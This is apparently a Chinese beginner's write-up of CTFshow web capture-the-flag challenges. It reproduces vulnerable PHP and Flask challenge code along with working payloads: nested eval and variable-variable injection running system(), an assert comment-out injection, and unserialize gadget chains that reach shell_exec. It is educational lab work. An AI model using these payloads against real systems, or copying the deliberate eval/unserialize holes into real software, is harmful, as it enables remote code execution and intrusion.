😋
大家好,我是YAy_17,是一枚爱好网安的小白。
本人水平有限,欢迎各位大佬指点,一起学习
💗
,一起进步
⭐
。⭐
此后如竟没有炬火,我便是唯一的光。
⭐
web签到
<?php
error_reporting(0);
highlight_file(__FILE__);
eval($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]][6][0][7][5][8][0][9][4][4]);
$_COOKIE['CTFshow-QQ群:'],通过cookie方式传递CTFshow-QQ群:为a;那么里面的代码变为$_REQUEST[$_GET[$_POST['a']]],再通过POST方式传递a=b,则代码继续缩减为$_REQUEST[$_GET['b']] 再通过GET方式传递b=c,代码继续缩减为$_REQUEST['c'],然而REQUEST方式可以接受GET或者POST方式。再通过GET方式传递c数组,c[6][0][7][5][8][0][9][4][4]=system('ls');
CTFshow-QQ群,汉字“群”记得url编码
web2 c0me_t0_s1gn
看看源码,可以发现一部分flag:
同时还发现了另外一半的flag在控制台中,打开控制台,再次发现提示:
输入g1ve_flag(),输出剩余的flag;
我的眼里只有$
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-11-10 17:20:38
# @Last Modified by: h1xa
# @Last Modified time: 2022-11-11 08:21:54
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
extract($_POST);
eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
highlight_file(__FILE__);
类似于web签到,嗯~;$$$_ ->那么我们通过POST传递_=a 变成了$$a 继续传递a=b 继续缩减为$b 再传递b=phpinfo();便可以执行成功,只不过这里的$符号比较多,一共36个,费劲;payload为:
_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=re1&re1=re2&re2=re3&re3=re4&re4=re5&re5=re6&re6=re7&re7=re8&re8=re9&re9=re10&re10=eval($_POST[1]);&1=system('nl /f1agaaa');
一言既出
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
assert和eval类似,括号中可以执行php代码,因此我们可以将该行后面的注释掉;
payload:
num=114514);//
驷马难追
<?php
highlight_file(__FILE__);
include "flag.php";
if (isset($_GET['num'])){
if ($_GET['num'] == 114514 && check($_GET['num'])){
assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
echo $flag;
}
}
function check($str){
return !preg_match("/[a-z]|\;|\(|\)/",$str);
}
在一言既出的基础上加上了check!不允许存在字符,分号,以及括号;那么上面的通过闭合的方法就无法执行!可以通过“➕”来完成,记得编码,num=114514%2b1919810-114514
TapTapTap
小游戏,看看源代码,在源代码的最后面发现了一个js文件:
查看js文件如下:
当游戏的等级达到20级以上的时候,会弹窗(里面有段看起来像是base64编码的字符串,尝试解密):
发现最终的flag位置,访问该路径即可;
Webshell
<?php
error_reporting(0);
class Webshell {
public $cmd = 'echo "Hello World!"';
public function __construct() {
$this->init();
}
public function init() {
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
}
}
public function exec($cmd) {
$result = shell_exec($cmd);
echo $result;
}
}
if(isset($_GET['cmd'])) {
$serializecmd = $_GET['cmd'];
$unserializecmd = unserialize($serializecmd);
$unserializecmd->init();
}
else {
highlight_file(__FILE__);
}
?>
最终的利用点在exec方法中,将执行shell_exec()后的结果,返回;上面的init方法调用了exec方法,inti方法中,进行了正则过滤,不可以匹配到flag。很简单的反序列化:
<?php
error_reporting(0);
class Webshell
{
public $cmd = "nl f*";
public function __construct()
{
$this->init();
}
public function init() {
if (!preg_match('/flag/i', $this->cmd)) {
$this->exec($this->cmd);
}
}
public function exec($cmd) {
$result = shell_exec($cmd);
echo $result;
}
}
$a = new Webshell();
echo serialize($a);
?>
化零为整
<?php
highlight_file(__FILE__);
include "flag.php";
$result='';
for ($i=1;$i<=count($_GET);$i++){
if (strlen($_GET[$i])>1){
die("你太长了!!");
}
else{
$result=$result.$_GET[$i];
}
}
if ($result ==="大牛"){
echo $flag;
}
这个题目好牛!!
我们知道一个中文的字符,经过url编码会变成3个;例如大这个字符经过url编码变为%e5%a4%a7
因此我们可以将其拆分为6个,最终连接起来形成:“大牛”
payload:1=%e5&2=%a4&3=%a7&4=%e7&5=%89&6=%9b
无一幸免
<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET['0'])){
$arr[$_GET['0']]=1;
if ($arr[]=1){
die($flag);
}
else{
die("nonono!");
}
}
0=1
茶歇区
不明白的题目,貌似是整数溢出漏洞;关于整数溢出漏洞,我们需要了解各种数据类型对应的取值范围:
uint8 -> 0-255
uint16 -> 0-65535
uint32 -> 0-4294967295
uint36 -> 0-18446744073709551615
int8 -> -127-128
int16 -> -32768-32767
int32 -> -2147483648-2147483647
int64 -> -9223372036854775808-9223372036854775807
尝试将咖啡的数量修改为99999999999999999999:
那么我们根据922..807这个数字,可以判断为int64,当然一般情况都是int64,这里存在一个疑点,为什么我们传的值已经明显大于9223372036854775807,但是为什么获得的积分是0?未接触过整数溢出的题目,看了相关的wp,好像是与数位相关,因为咖啡的单价是10,我们的数量还要×10,因此当我传递999999999999999999时:
再次传递数量(也就是说一共传递两次)
小舔田?
<?php
include "flag.php";
highlight_file(__FILE__);
class Moon{
public $name="月亮";
public function __toString(){
return $this->name;
}
public function __wakeup(){
echo "我是".$this->name."快来赏我";
}
}
class Ion_Fan_Princess{
public $nickname="牛夫人";
public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo $flag;
}else{
echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
}
}
public function __toString(){
$this->call();
return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
}
}
if (isset($_GET['code'])){
unserialize($_GET['code']);
}else{
$a=new Ion_Fan_Princess();
echo $a;
}
php序列化,最终的利用点在22行的echo $flag;该语句在call函数中,那么我们就需要向上找到用谁去调用call函数,显然,是Ion_Fan_Princess类中的tostring方法了,那么想要调用tostring函数,可以利用上面类中的tostring方法,当我们使得$this->name的值为Ion_Fan_Princess对象时,在wakeup方法中触发tostring方法;那么序列化链就比较清楚了;
<?php
class Moon{
public $name;
public function __toString(){
return $this->name;
}
public function __wakeup(){
echo "我是".$this->name."快来赏我";
}
}
class Ion_Fan_Princess{
public $nickname;
public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo $flag;
}else{
echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
}
}
public function __toString(){
$this->call();
return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
}
}
$a = new Moon();
$b = new Ion_Fan_Princess();
$b->nickname = "小甜甜";
$a->name = $b;
echo serialize($a);
看下源码,发现存在执行命令:
随便上传一个图片,在repeater模块进行测试:
发现了flag.py文件,之后便可以cat flag.py
Is_Not_Obfuscate
hint:这道题是纸老虎,看题目名字。
先看下源代码:
发现了很多信息,通过input传递加密后的代码,之后通过decode解密后,当作php代码执行;同时发现robots.txt文件,先去访问下robots.txt文件:
这里发现了/lib.php?flag=0;尝试修改0为1,得到一串加密后的代码,有点像base64,这里还去尝试解码;发现不对;还有一个地方值得我们的注意,就是url中的参数存在3个,分别是input,action,output;到这里没有了思路,看了wp,需要将action的值设置为test;(其实在源代码中有提示的),尝试将input设置为刚才我们发现的那一串类似base64的加密字符串:(这里在hackbar中测试出来,后来才在前端将action修改为test)
先在前端修改action的value值为test,之后将上面发现的类似于base64的字符串填入文本框中,点击预览:
看到代码,首先看到$input变量,使用的是file_put_contents()函数,文件名为/plugins/md5加密“output的值+youyou”;内容就是encode加密后的output;
而$output变量,利用file_get_contents()函数读取文件中的内容,然后通过decode进行解密,之后将解密后的代码当作php代码来执行;
http://ctfshow/index.php?input=&action=push&output=<?php echo `nl /f1agaaa`;?>
http://ctfshow/index.php?input=0ed5fa37c609aceabc612d7c4e3799db&action=pull&output=
无一幸免_FIXED
我说上面的无一幸免怎么回事呢,下面才是g4师傅的意图:
<?php
include "flag.php";
highlight_file(__FILE__);
if (isset($_GET['0'])){
$arr[$_GET['0']]=1;
if ($arr[]=1){
die("nonono!");
}
else{
die($flag);
}
}
?>
题目还是涉及到整数溢出,类似于“茶歇区”,通过GET方式提交参数0的值,作为数组的下标,赋值为1,通过判断,输出flag的值;
当通过get传递值为9223372036854775807时,出现报错,而不是输出的结果是1;故我们可以通过传递0的值为9223372036854775807来绕过;
easyPytHon_P
源码在此:
from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
try:
tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
print('Done!')
except subprocess.TimeoutExpired:
print('Timeout!')
except:
print('Error!')
else:
print('No Flag!')
如果环境出现故障,请访问 这里 尝试恢复。
大菜鸡敬上!
看源码可知,关键性的代码
tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
先来了解subprocess.run:
我们需要传递两个参数,分别是cmd和param(需要注意的是,要通过POST方式传递,而不是GET)
flag存在于当前路径下,而不是在根目录下;
版权归原作者 YAy17 所有, 如有侵权,请联系我们删除。